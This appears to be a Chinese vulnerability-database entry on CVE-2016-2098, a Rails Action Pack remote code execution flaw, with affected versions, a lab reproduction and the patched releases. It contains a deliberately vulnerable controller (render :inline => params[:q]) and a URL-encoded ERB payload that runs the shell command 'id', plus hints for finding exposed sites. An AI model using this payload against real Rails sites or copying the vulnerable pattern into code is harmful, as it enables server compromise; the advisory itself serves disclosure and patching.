Ruby on Rails Action Pack远程代码执行漏洞

基本字段

漏洞编号:
SSV-91073
披露/发现时间:
未知
提交时间:
2016-03-17
漏洞等级:
漏洞类别:
代码执行
影响组件:
Ruby on Rails
(=3.2.x, 4.0.x, 4.1.x, 4.2.x)
漏洞作者:
Tobias Kraze and joernchen
提交者:
Knownsec
CVE-ID:
CVE-2016-2098
CNNVD-ID:
补充
CNVD-ID:
补充
ZoomEye Dork:
补充

来源

漏洞详情

贡献者 Knownsec 共获得  0KB

漏洞应用

测试环境:Rails-4.0.13 (Ruby-2.1.5)

测试系统:Kali Linux 2.0

创建 Rails 应用:

 rails new cve-2016-2098 
 cd cve-2016-2098

使用自带命令创建控制器 vuln 路由 index,并修改其路由默认处理代码:

rails generate scaffold User name:string desc:text age:integer 
rake db:migrate

修改 app/controllers/users_controller.rb 中 index 函数代码为:

class UsersController < ApplicationController ...
def show
render :inline => params[:q]
end ...
# def set_user # ..
# end
end

启动应用访问 http://*.*.*.*:3000/users/<%25=%20`id`%20%25>时,代 码会将 “<%= `id` %>”做为模板 :inline 渲染的方式将传入的字符串作为模 板内容进行渲染,因为在 Rails 模板引擎中,<%= [string_here] %> 表示将 [string_here] 作为 Ruby 代码进行执行并将结果进行返回,所以最终访问页 面会返回系统执行 id 命令后的结果:

漏洞影响

从 zoomeye.org 上搜索使用了 Rails 框架的站点:

全球大约有 4w 多个使用了 Rails 的站点可能受到该漏洞的影响。

同时也可以在 Github 上搜索 “render :inline =>”来查看潜在受到影响 的项目:

可以看到也有大量的项目符合这样的代码写法,可能受到该漏洞的影响。

相关链接:

[1] http://weblog.rubyonrails.org/2016/2/29/Rails-4-2-5-2-4-1-14-2-3-2-22-2-have-been-released/

[2] https://groups.google.com/d/msg/rubyonrails-security/ly-IH-fxr_Q/WLoOhcMZIAAJ

[3] https://github.com/rails/rails/compare/v4.2.5.1...v4.2.5.2

共 0  兑换了

PoC

暂无 PoC

参考链接

解决方案

临时解决方案

暂无临时解决方案

官方解决方案

Rails 官方已于 3.2.22.2,4.1.14.2,4.2.5.2 版本中修复该问题,根据相应版本进行升级即可。

防护方案

暂无防护方案

人气 1685
评论前需绑定手机 现在绑定

暂无评论

※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负